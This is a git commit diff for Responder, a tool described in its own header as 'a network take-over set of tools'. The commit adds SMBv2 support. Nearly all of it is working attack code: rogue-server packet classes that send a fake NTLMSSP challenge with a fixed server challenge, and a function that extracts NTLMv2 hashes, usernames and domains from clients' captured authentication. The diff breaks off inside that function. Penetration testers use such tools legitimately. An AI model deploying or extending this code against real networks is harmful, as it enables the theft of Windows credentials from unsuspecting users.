Added SMBv2 support enabled by default.

This commit is contained in:
lgandx 2016-09-09 02:50:39 -03:00
parent 2e1651f8fd
commit 85d7974513
6 changed files with 359 additions and 48 deletions

View file

@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
# This file is part of Responder # This file is part of Responder, a network take-over set of tools
# Original work by Laurent Gaffie - Trustwave Holdings # created and maintained by Laurent Gaffie.
# # email: laurent.gaffie@gmail.com
# This program is free software: you can redistribute it and/or modify # This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by # it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or # the Free Software Foundation, either version 3 of the License, or
@ -1280,36 +1280,263 @@ class SMBSessTreeAns(Packet):
class SMB2Header(Packet): class SMB2Header(Packet):
fields = OrderedDict([ fields = OrderedDict([
("Proto", "\xff\x53\x4d\x42"), ("Proto", "\xfe\x53\x4d\x42"),
("Cmd", "\x72"), ("Len", "\x40\x00"),#Always 64.
("Error-Code", "\x00\x00\x00\x00" ), ("CreditCharge", "\x00\x00"),
("Flag1", "\x10"), ("NTStatus", "\x00\x00\x00\x00"),
("Flag2", "\x00\x00"), ("Cmd", "\x00\x00"),
("Pidhigh", "\x00\x00"), ("Credits", "\x01\x00"),
("Signature", "\x00\x00\x00\x00\x00\x00\x00\x00"), ("Flags", "\x01\x00\x00\x00"),
("Reserved", "\x00\x00"), ("NextCmd", "\x00\x00\x00\x00"),
("TID", "\x00\x00"), ("MessageId", "\x00\x00\x00\x00\x00\x00\x00\x00"),
("PID", "\xff\xfe"), ("PID", "\x00\x00\x00\x00"),
("UID", "\x00\x00"), ("TID", "\x00\x00\x00\x00"),
("MID", "\x00\x00"), ("SessionID", "\x00\x00\x00\x00\x00\x00\x00\x00"),
("Signature", "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"),
]) ])
class SMB2Nego(Packet): class SMB2NegoAns(Packet):
fields = OrderedDict([ fields = OrderedDict([
("Wordcount", "\x00"), ("Len", "\x41\x00"),
("Bcc", "\x62\x00"), ("Signing", "\x01\x00"),
("Data", "") ("Dialect", "\xff\x02"),
("Reserved", "\x00\x00"),
("Guid", "\xee\x85\xab\xf7\xea\xf6\x0c\x4f\x92\x81\x92\x47\x6d\xeb\x76\xa9"),
("Capabilities", "\x07\x00\x00\x00"),
("MaxTransSize", "\x00\x00\x10\x00"),
("MaxReadSize", "\x00\x00\x10\x00"),
("MaxWriteSize", "\x00\x00\x10\x00"),
("SystemTime", "\x27\xfb\xea\xd7\x50\x09\xd2\x01"),
("BootTime", "\x22\xfb\x80\x01\x40\x09\xd2\x01"),
("SecBlobOffSet", "\x80\x00"),
("SecBlobLen", "\x78\x00"),
("Reserved2", "\x00\x00\x00\x00"),
("InitContextTokenASNId", "\x60"),
("InitContextTokenASNLen", "\x76"),
("ThisMechASNId", "\x06"),
("ThisMechASNLen", "\x06"),
("ThisMechASNStr", "\x2b\x06\x01\x05\x05\x02"),
("SpNegoTokenASNId", "\xA0"),
("SpNegoTokenASNLen", "\x6c"),
("NegTokenASNId", "\x30"),
("NegTokenASNLen", "\x6a"),
("NegTokenTag0ASNId", "\xA0"),
("NegTokenTag0ASNLen", "\x3c"),
("NegThisMechASNId", "\x30"),
("NegThisMechASNLen", "\x3a"),
("NegThisMech1ASNId", "\x06"),
("NegThisMech1ASNLen", "\x0a"),
("NegThisMech1ASNStr", "\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x1e"),
("NegThisMech2ASNId", "\x06"),
("NegThisMech2ASNLen", "\x09"),
("NegThisMech2ASNStr", "\x2a\x86\x48\x82\xf7\x12\x01\x02\x02"),
("NegThisMech3ASNId", "\x06"),
("NegThisMech3ASNLen", "\x09"),
("NegThisMech3ASNStr", "\x2a\x86\x48\x86\xf7\x12\x01\x02\x02"),
("NegThisMech4ASNId", "\x06"),
("NegThisMech4ASNLen", "\x0a"),
("NegThisMech4ASNStr", "\x2a\x86\x48\x86\xf7\x12\x01\x02\x02\x03"),
("NegThisMech5ASNId", "\x06"),
("NegThisMech5ASNLen", "\x0a"),
("NegThisMech5ASNStr", "\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a"),
("NegTokenTag3ASNId", "\xA3"),
("NegTokenTag3ASNLen", "\x2a"),
("NegHintASNId", "\x30"),
("NegHintASNLen", "\x28"),
("NegHintTag0ASNId", "\xa0"),
("NegHintTag0ASNLen", "\x26"),
("NegHintFinalASNId", "\x1b"),
("NegHintFinalASNLen", "\x24"),
("NegHintFinalASNStr", "Server2008@SMB3.local"),
])
def calculate(self):
StructLen = str(self.fields["Len"])+str(self.fields["Signing"])+str(self.fields["Dialect"])+str(self.fields["Reserved"])+str(self.fields["Guid"])+str(self.fields["Capabilities"])+str(self.fields["MaxTransSize"])+str(self.fields["MaxReadSize"])+str(self.fields["MaxWriteSize"])+str(self.fields["SystemTime"])+str(self.fields["BootTime"])+str(self.fields["SecBlobOffSet"])+str(self.fields["SecBlobLen"])+str(self.fields["Reserved2"])
SecBlobLen = str(self.fields["InitContextTokenASNId"])+str(self.fields["InitContextTokenASNLen"])+str(self.fields["ThisMechASNId"])+str(self.fields["ThisMechASNLen"])+str(self.fields["ThisMechASNStr"])+str(self.fields["SpNegoTokenASNId"])+str(self.fields["SpNegoTokenASNLen"])+str(self.fields["NegTokenASNId"])+str(self.fields["NegTokenASNLen"])+str(self.fields["NegTokenTag0ASNId"])+str(self.fields["NegTokenTag0ASNLen"])+str(self.fields["NegThisMechASNId"])+str(self.fields["NegThisMechASNLen"])+str(self.fields["NegThisMech1ASNId"])+str(self.fields["NegThisMech1ASNLen"])+str(self.fields["NegThisMech1ASNStr"])+str(self.fields["NegThisMech2ASNId"])+str(self.fields["NegThisMech2ASNLen"])+str(self.fields["NegThisMech2ASNStr"])+str(self.fields["NegThisMech3ASNId"])+str(self.fields["NegThisMech3ASNLen"])+str(self.fields["NegThisMech3ASNStr"])+str(self.fields["NegThisMech4ASNId"])+str(self.fields["NegThisMech4ASNLen"])+str(self.fields["NegThisMech4ASNStr"])+str(self.fields["NegThisMech5ASNId"])+str(self.fields["NegThisMech5ASNLen"])+str(self.fields["NegThisMech5ASNStr"])+str(self.fields["NegTokenTag3ASNId"])+str(self.fields["NegTokenTag3ASNLen"])+str(self.fields["NegHintASNId"])+str(self.fields["NegHintASNLen"])+str(self.fields["NegHintTag0ASNId"])+str(self.fields["NegHintTag0ASNLen"])+str(self.fields["NegHintFinalASNId"])+str(self.fields["NegHintFinalASNLen"])+str(self.fields["NegHintFinalASNStr"])
AsnLenStart = str(self.fields["ThisMechASNId"])+str(self.fields["ThisMechASNLen"])+str(self.fields["ThisMechASNStr"])+str(self.fields["SpNegoTokenASNId"])+str(self.fields["SpNegoTokenASNLen"])+str(self.fields["NegTokenASNId"])+str(self.fields["NegTokenASNLen"])+str(self.fields["NegTokenTag0ASNId"])+str(self.fields["NegTokenTag0ASNLen"])+str(self.fields["NegThisMechASNId"])+str(self.fields["NegThisMechASNLen"])+str(self.fields["NegThisMech1ASNId"])+str(self.fields["NegThisMech1ASNLen"])+str(self.fields["NegThisMech1ASNStr"])+str(self.fields["NegThisMech2ASNId"])+str(self.fields["NegThisMech2ASNLen"])+str(self.fields["NegThisMech2ASNStr"])+str(self.fields["NegThisMech3ASNId"])+str(self.fields["NegThisMech3ASNLen"])+str(self.fields["NegThisMech3ASNStr"])+str(self.fields["NegThisMech4ASNId"])+str(self.fields["NegThisMech4ASNLen"])+str(self.fields["NegThisMech4ASNStr"])+str(self.fields["NegThisMech5ASNId"])+str(self.fields["NegThisMech5ASNLen"])+str(self.fields["NegThisMech5ASNStr"])+str(self.fields["NegTokenTag3ASNId"])+str(self.fields["NegTokenTag3ASNLen"])+str(self.fields["NegHintASNId"])+str(self.fields["NegHintASNLen"])+str(self.fields["NegHintTag0ASNId"])+str(self.fields["NegHintTag0ASNLen"])+str(self.fields["NegHintFinalASNId"])+str(self.fields["NegHintFinalASNLen"])+str(self.fields["NegHintFinalASNStr"])
AsnLen2 = str(self.fields["NegTokenASNId"])+str(self.fields["NegTokenASNLen"])+str(self.fields["NegTokenTag0ASNId"])+str(self.fields["NegTokenTag0ASNLen"])+str(self.fields["NegThisMechASNId"])+str(self.fields["NegThisMechASNLen"])+str(self.fields["NegThisMech1ASNId"])+str(self.fields["NegThisMech1ASNLen"])+str(self.fields["NegThisMech1ASNStr"])+str(self.fields["NegThisMech2ASNId"])+str(self.fields["NegThisMech2ASNLen"])+str(self.fields["NegThisMech2ASNStr"])+str(self.fields["NegThisMech3ASNId"])+str(self.fields["NegThisMech3ASNLen"])+str(self.fields["NegThisMech3ASNStr"])+str(self.fields["NegThisMech4ASNId"])+str(self.fields["NegThisMech4ASNLen"])+str(self.fields["NegThisMech4ASNStr"])+str(self.fields["NegThisMech5ASNId"])+str(self.fields["NegThisMech5ASNLen"])+str(self.fields["NegThisMech5ASNStr"])+str(self.fields["NegTokenTag3ASNId"])+str(self.fields["NegTokenTag3ASNLen"])+str(self.fields["NegHintASNId"])+str(self.fields["NegHintASNLen"])+str(self.fields["NegHintTag0ASNId"])+str(self.fields["NegHintTag0ASNLen"])+str(self.fields["NegHintFinalASNId"])+str(self.fields["NegHintFinalASNLen"])+str(self.fields["NegHintFinalASNStr"])
MechTypeLen = str(self.fields["NegThisMechASNId"])+str(self.fields["NegThisMechASNLen"])+str(self.fields["NegThisMech1ASNId"])+str(self.fields["NegThisMech1ASNLen"])+str(self.fields["NegThisMech1ASNStr"])+str(self.fields["NegThisMech2ASNId"])+str(self.fields["NegThisMech2ASNLen"])+str(self.fields["NegThisMech2ASNStr"])+str(self.fields["NegThisMech3ASNId"])+str(self.fields["NegThisMech3ASNLen"])+str(self.fields["NegThisMech3ASNStr"])+str(self.fields["NegThisMech4ASNId"])+str(self.fields["NegThisMech4ASNLen"])+str(self.fields["NegThisMech4ASNStr"])+str(self.fields["NegThisMech5ASNId"])+str(self.fields["NegThisMech5ASNLen"])+str(self.fields["NegThisMech5ASNStr"])
Tag3Len = str(self.fields["NegHintASNId"])+str(self.fields["NegHintASNLen"])+str(self.fields["NegHintTag0ASNId"])+str(self.fields["NegHintTag0ASNLen"])+str(self.fields["NegHintFinalASNId"])+str(self.fields["NegHintFinalASNLen"])+str(self.fields["NegHintFinalASNStr"])
#Packet Struct len
self.fields["Len"] = struct.pack("<h",len(StructLen)+1)
#Sec Blob lens
self.fields["SecBlobOffSet"] = struct.pack("<h",len(StructLen)+64)
self.fields["SecBlobLen"] = struct.pack("<h",len(SecBlobLen))
#ASN Stuff
self.fields["InitContextTokenASNLen"] = struct.pack("<B", len(SecBlobLen)-2)
self.fields["ThisMechASNLen"] = struct.pack("<B", len(str(self.fields["ThisMechASNStr"])))
self.fields["SpNegoTokenASNLen"] = struct.pack("<B", len(AsnLen2))
self.fields["NegTokenASNLen"] = struct.pack("<B", len(AsnLen2)-2)
self.fields["NegTokenTag0ASNLen"] = struct.pack("<B", len(MechTypeLen))
self.fields["NegThisMechASNLen"] = struct.pack("<B", len(MechTypeLen)-2)
self.fields["NegThisMech1ASNLen"] = struct.pack("<B", len(str(self.fields["NegThisMech1ASNStr"])))
self.fields["NegThisMech2ASNLen"] = struct.pack("<B", len(str(self.fields["NegThisMech2ASNStr"])))
self.fields["NegThisMech3ASNLen"] = struct.pack("<B", len(str(self.fields["NegThisMech3ASNStr"])))
self.fields["NegThisMech4ASNLen"] = struct.pack("<B", len(str(self.fields["NegThisMech4ASNStr"])))
self.fields["NegThisMech5ASNLen"] = struct.pack("<B", len(str(self.fields["NegThisMech5ASNStr"])))
self.fields["NegTokenTag3ASNLen"] = struct.pack("<B", len(Tag3Len))
self.fields["NegHintASNLen"] = struct.pack("<B", len(Tag3Len)-2)
self.fields["NegHintTag0ASNLen"] = struct.pack("<B", len(Tag3Len)-4)
self.fields["NegHintFinalASNLen"] = struct.pack("<B", len(str(self.fields["NegHintFinalASNStr"])))
class SMB2Session1Data(Packet):
fields = OrderedDict([
("Len", "\x09\x00"),
("SessionFlag", "\x00\x00"),
("SecBlobOffSet", "\x48\x00"),
("SecBlobLen", "\x06\x01"),
("ChoiceTagASNId", "\xa1"),
("ChoiceTagASNLenOfLen", "\x82"),
("ChoiceTagASNIdLen", "\x01\x02"),
("NegTokenTagASNId", "\x30"),
("NegTokenTagASNLenOfLen","\x81"),
("NegTokenTagASNIdLen", "\xff"),
("Tag0ASNId", "\xA0"),
("Tag0ASNIdLen", "\x03"),
("NegoStateASNId", "\x0A"),
("NegoStateASNLen", "\x01"),
("NegoStateASNValue", "\x01"),
("Tag1ASNId", "\xA1"),
("Tag1ASNIdLen", "\x0c"),
("Tag1ASNId2", "\x06"),
("Tag1ASNId2Len", "\x0A"),
("Tag1ASNId2Str", "\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a"),
("Tag2ASNId", "\xA2"),
("Tag2ASNIdLenOfLen", "\x81"),
("Tag2ASNIdLen", "\xE9"),
("Tag3ASNId", "\x04"),
("Tag3ASNIdLenOfLen", "\x81"),
("Tag3ASNIdLen", "\xE6"),
("NTLMSSPSignature", "NTLMSSP"),
("NTLMSSPSignatureNull", "\x00"),
("NTLMSSPMessageType", "\x02\x00\x00\x00"),
("NTLMSSPNtWorkstationLen","\x1e\x00"),
("NTLMSSPNtWorkstationMaxLen","\x1e\x00"),
("NTLMSSPNtWorkstationBuffOffset","\x38\x00\x00\x00"),
("NTLMSSPNtNegotiateFlags","\x15\x82\x89\xe2"),
("NTLMSSPNtServerChallenge","\x81\x22\x33\x34\x55\x46\xe7\x88"),
("NTLMSSPNtReserved","\x00\x00\x00\x00\x00\x00\x00\x00"),
("NTLMSSPNtTargetInfoLen","\x94\x00"),
("NTLMSSPNtTargetInfoMaxLen","\x94\x00"),
("NTLMSSPNtTargetInfoBuffOffset","\x56\x00\x00\x00"),
("NegTokenInitSeqMechMessageVersionHigh","\x06"),
("NegTokenInitSeqMechMessageVersionLow","\x03"),
("NegTokenInitSeqMechMessageVersionBuilt","\x80\x25"),
("NegTokenInitSeqMechMessageVersionReserved","\x00\x00\x00"),
("NegTokenInitSeqMechMessageVersionNTLMType","\x0f"),
("NTLMSSPNtWorkstationName","SMB3"),
("NTLMSSPNTLMChallengeAVPairsId","\x02\x00"),
("NTLMSSPNTLMChallengeAVPairsLen","\x0a\x00"),
("NTLMSSPNTLMChallengeAVPairsUnicodeStr","SMB3"),
("NTLMSSPNTLMChallengeAVPairs1Id","\x01\x00"),
("NTLMSSPNTLMChallengeAVPairs1Len","\x1e\x00"),
("NTLMSSPNTLMChallengeAVPairs1UnicodeStr","WIN-PRH492RQAFV"),
("NTLMSSPNTLMChallengeAVPairs2Id","\x04\x00"),
("NTLMSSPNTLMChallengeAVPairs2Len","\x1e\x00"),
("NTLMSSPNTLMChallengeAVPairs2UnicodeStr","SMB3.local"),
("NTLMSSPNTLMChallengeAVPairs3Id","\x03\x00"),
("NTLMSSPNTLMChallengeAVPairs3Len","\x1e\x00"),
("NTLMSSPNTLMChallengeAVPairs3UnicodeStr","WIN-PRH492RQAFV.SMB3.local"),
("NTLMSSPNTLMChallengeAVPairs5Id","\x05\x00"),
("NTLMSSPNTLMChallengeAVPairs5Len","\x04\x00"),
("NTLMSSPNTLMChallengeAVPairs5UnicodeStr","SMB3.local"),
("NTLMSSPNTLMChallengeAVPairs7Id","\x07\x00"),
("NTLMSSPNTLMChallengeAVPairs7Len","\x08\x00"),
("NTLMSSPNTLMChallengeAVPairs7UnicodeStr","\xc0\x65\x31\x50\xde\x09\xd2\x01"),
("NTLMSSPNTLMChallengeAVPairs6Id","\x00\x00"),
("NTLMSSPNTLMChallengeAVPairs6Len","\x00\x00"),
])
def calculate(self):
###### Convert strings to Unicode
self.fields["NTLMSSPNtWorkstationName"] = self.fields["NTLMSSPNtWorkstationName"].encode('utf-16le')
self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"].encode('utf-16le')
self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"].encode('utf-16le')
self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"].encode('utf-16le')
self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"].encode('utf-16le')
self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"].encode('utf-16le')
#Packet struct calc:
StructLen = str(self.fields["Len"])+str(self.fields["SessionFlag"])+str(self.fields["SecBlobOffSet"])+str(self.fields["SecBlobLen"])
###### SecBlobLen Calc:
CalculateSecBlob = str(self.fields["NTLMSSPSignature"])+str(self.fields["NTLMSSPSignatureNull"])+str(self.fields["NTLMSSPMessageType"])+str(self.fields["NTLMSSPNtWorkstationLen"])+str(self.fields["NTLMSSPNtWorkstationMaxLen"])+str(self.fields["NTLMSSPNtWorkstationBuffOffset"])+str(self.fields["NTLMSSPNtNegotiateFlags"])+str(self.fields["NTLMSSPNtServerChallenge"])+str(self.fields["NTLMSSPNtReserved"])+str(self.fields["NTLMSSPNtTargetInfoLen"])+str(self.fields["NTLMSSPNtTargetInfoMaxLen"])+str(self.fields["NTLMSSPNtTargetInfoBuffOffset"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"])+str(self.fields["NTLMSSPNtWorkstationName"])+str(self.fields["NTLMSSPNTLMChallengeAVPairsId"])+str(self.fields["NTLMSSPNTLMChallengeAVPairsLen"])+str(self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs2Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs2Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs3Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs3Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs5Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs5Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs7Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs7Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs7UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs6Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs6Len"])
AsnLen = str(self.fields["ChoiceTagASNId"])+str(self.fields["ChoiceTagASNLenOfLen"])+str(self.fields["ChoiceTagASNIdLen"])+str(self.fields["NegTokenTagASNId"])+str(self.fields["NegTokenTagASNLenOfLen"])+str(self.fields["NegTokenTagASNIdLen"])+str(self.fields["Tag0ASNId"])+str(self.fields["Tag0ASNIdLen"])+str(self.fields["NegoStateASNId"])+str(self.fields["NegoStateASNLen"])+str(self.fields["NegoStateASNValue"])+str(self.fields["Tag1ASNId"])+str(self.fields["Tag1ASNIdLen"])+str(self.fields["Tag1ASNId2"])+str(self.fields["Tag1ASNId2Len"])+str(self.fields["Tag1ASNId2Str"])+str(self.fields["Tag2ASNId"])+str(self.fields["Tag2ASNIdLenOfLen"])+str(self.fields["Tag2ASNIdLen"])+str(self.fields["Tag3ASNId"])+str(self.fields["Tag3ASNIdLenOfLen"])+str(self.fields["Tag3ASNIdLen"])
#Packet Struct len
self.fields["Len"] = struct.pack("<h",len(StructLen)+1)
self.fields["SecBlobLen"] = struct.pack("<H", len(AsnLen+CalculateSecBlob))
self.fields["SecBlobOffSet"] = struct.pack("<h",len(StructLen)+64)
###### ASN Stuff
if len(CalculateSecBlob) > 255:
self.fields["Tag3ASNIdLen"] = struct.pack(">H", len(CalculateSecBlob))
else:
self.fields["Tag3ASNIdLenOfLen"] = "\x81"
self.fields["Tag3ASNIdLen"] = struct.pack(">B", len(CalculateSecBlob))
if len(AsnLen+CalculateSecBlob)-3 > 255:
self.fields["ChoiceTagASNIdLen"] = struct.pack(">H", len(AsnLen+CalculateSecBlob)-4)
else:
self.fields["ChoiceTagASNLenOfLen"] = "\x81"
self.fields["ChoiceTagASNIdLen"] = struct.pack(">B", len(AsnLen+CalculateSecBlob)-3)
if len(AsnLen+CalculateSecBlob)-7 > 255:
self.fields["NegTokenTagASNIdLen"] = struct.pack(">H", len(AsnLen+CalculateSecBlob)-8)
else:
self.fields["NegTokenTagASNLenOfLen"] = "\x81"
self.fields["NegTokenTagASNIdLen"] = struct.pack(">B", len(AsnLen+CalculateSecBlob)-7)
tag2length = CalculateSecBlob+str(self.fields["Tag3ASNId"])+str(self.fields["Tag3ASNIdLenOfLen"])+str(self.fields["Tag3ASNIdLen"])
if len(tag2length) > 255:
self.fields["Tag2ASNIdLen"] = struct.pack(">H", len(tag2length))
else:
self.fields["Tag2ASNIdLenOfLen"] = "\x81"
self.fields["Tag2ASNIdLen"] = struct.pack(">B", len(tag2length))
self.fields["Tag1ASNIdLen"] = struct.pack(">B", len(str(self.fields["Tag1ASNId2"])+str(self.fields["Tag1ASNId2Len"])+str(self.fields["Tag1ASNId2Str"])))
self.fields["Tag1ASNId2Len"] = struct.pack(">B", len(str(self.fields["Tag1ASNId2Str"])))
###### Workstation Offset
CalculateOffsetWorkstation = str(self.fields["NTLMSSPSignature"])+str(self.fields["NTLMSSPSignatureNull"])+str(self.fields["NTLMSSPMessageType"])+str(self.fields["NTLMSSPNtWorkstationLen"])+str(self.fields["NTLMSSPNtWorkstationMaxLen"])+str(self.fields["NTLMSSPNtWorkstationBuffOffset"])+str(self.fields["NTLMSSPNtNegotiateFlags"])+str(self.fields["NTLMSSPNtServerChallenge"])+str(self.fields["NTLMSSPNtReserved"])+str(self.fields["NTLMSSPNtTargetInfoLen"])+str(self.fields["NTLMSSPNtTargetInfoMaxLen"])+str(self.fields["NTLMSSPNtTargetInfoBuffOffset"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"])
###### AvPairs Offset
CalculateLenAvpairs = str(self.fields["NTLMSSPNTLMChallengeAVPairsId"])+str(self.fields["NTLMSSPNTLMChallengeAVPairsLen"])+str(self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs2Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs2Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs3Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs3Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs5Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs5Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs7Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs7Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs7UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs6Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs6Len"])
##### Workstation Offset Calculation:
self.fields["NTLMSSPNtWorkstationBuffOffset"] = struct.pack("<i", len(CalculateOffsetWorkstation))
self.fields["NTLMSSPNtWorkstationLen"] = struct.pack("<h", len(str(self.fields["NTLMSSPNtWorkstationName"])))
self.fields["NTLMSSPNtWorkstationMaxLen"] = struct.pack("<h", len(str(self.fields["NTLMSSPNtWorkstationName"])))
##### Target Offset Calculation:
self.fields["NTLMSSPNtTargetInfoBuffOffset"] = struct.pack("<i", len(CalculateOffsetWorkstation+str(self.fields["NTLMSSPNtWorkstationName"])))
self.fields["NTLMSSPNtTargetInfoLen"] = struct.pack("<h", len(CalculateLenAvpairs))
self.fields["NTLMSSPNtTargetInfoMaxLen"] = struct.pack("<h", len(CalculateLenAvpairs))
##### IvPair Calculation:
self.fields["NTLMSSPNTLMChallengeAVPairs7Len"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs7UnicodeStr"])))
self.fields["NTLMSSPNTLMChallengeAVPairs5Len"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"])))
self.fields["NTLMSSPNTLMChallengeAVPairs3Len"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"])))
self.fields["NTLMSSPNTLMChallengeAVPairs2Len"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"])))
self.fields["NTLMSSPNTLMChallengeAVPairs1Len"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"])))
self.fields["NTLMSSPNTLMChallengeAVPairsLen"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"])))
class SMB2Session2Data(Packet):
fields = OrderedDict([
("Len", "\x09\x00"),
("SessionFlag", "\x00\x00"),
("SecBlobOffSet", "\x00\x00\x00\x00"),
]) ])
def calculate(self):
self.fields["Bcc"] = struct.pack("<H",len(str(self.fields["Data"])))
class SMB2NegoData(Packet):
fields = OrderedDict([
("StrType","\x02" ),
("dialect", "NT LM 0.12\x00"),
("StrType1","\x02"),
("dialect1", "SMB 2.002\x00"),
("StrType2","\x02"),
("dialect2", "SMB 2.???\x00"),
])

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

View file

@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
# This file is part of Responder # This file is part of Responder, a network take-over set of tools
# Original work by Laurent Gaffie - Trustwave Holdings # created and maintained by Laurent Gaffie.
# # email: laurent.gaffie@gmail.com
# This program is free software: you can redistribute it and/or modify # This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by # it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or # the Free Software Foundation, either version 3 of the License, or
@ -15,10 +15,11 @@
# You should have received a copy of the GNU General Public License # You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>. # along with this program. If not, see <http://www.gnu.org/licenses/>.
from random import randrange from random import randrange
from packets import SMBHeader, SMBNegoAnsLM, SMBNegoKerbAns, SMBSession1Data, SMBSession2Accept, SMBSessEmpty, SMBTreeData from packets import SMBHeader, SMBNegoAnsLM, SMBNegoKerbAns, SMBSession1Data, SMBSession2Accept, SMBSessEmpty, SMBTreeData, SMB2Header, SMB2NegoAns, SMB2Session1Data, SMB2Session2Data
from SocketServer import BaseRequestHandler from SocketServer import BaseRequestHandler
from utils import * from utils import *
import struct import struct
import re
def Is_Anonymous(data): # Detect if SMB auth was Anonymous def Is_Anonymous(data): # Detect if SMB auth was Anonymous
@ -67,6 +68,25 @@ def ParseShare(data):
if a: if a:
print text("[SMB] Requested Share : %s" % a.group(0).decode('UTF-16LE')) print text("[SMB] Requested Share : %s" % a.group(0).decode('UTF-16LE'))
def GrabMessageID(data):
Messageid = data[28:36]
return Messageid
def GrabCreditRequested(data):
CreditsRequested = data[18:20]
if CreditsRequested == "\x00\x00":
CreditsRequested = "\x01\x00"
else:
CreditsRequested = data[18:20]
return CreditsRequested
def GrabCreditCharged(data):
CreditCharged = data[10:12]
return CreditCharged
def GrabSessionID(data):
SessionID = data[44:52]
return SessionID
def ParseSMBHash(data,client): #Parse SMB NTLMSSP v1/v2 def ParseSMBHash(data,client): #Parse SMB NTLMSSP v1/v2
SecBlobLen = struct.unpack('<H',data[51:53])[0] SecBlobLen = struct.unpack('<H',data[51:53])[0]
@ -126,6 +146,31 @@ def ParseSMBHash(data,client): #Parse SMB NTLMSSP v1/v2
}) })
def ParseSMB2NTLMv2Hash(data,client): #Parse SMB NTLMv2
SSPIStart = data[113:]
data = data[113:]
LMhashLen = struct.unpack('<H',data[12:14])[0]
LMhashOffset = struct.unpack('<H',data[16:18])[0]
LMHash = SSPIStart[LMhashOffset:LMhashOffset+LMhashLen].encode("hex").upper()
NthashLen = struct.unpack('<H',data[22:24])[0]
NthashOffset = struct.unpack('<H',data[24:26])[0]
SMBHash = SSPIStart[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
DomainLen = struct.unpack('<H',data[30:32])[0]
DomainOffset = struct.unpack('<H',data[32:34])[0]
Domain = SSPIStart[DomainOffset:DomainOffset+DomainLen].decode('UTF-16LE')
UserLen = struct.unpack('<H',data[38:40])[0]
UserOffset = struct.unpack('<H',data[40:42])[0]
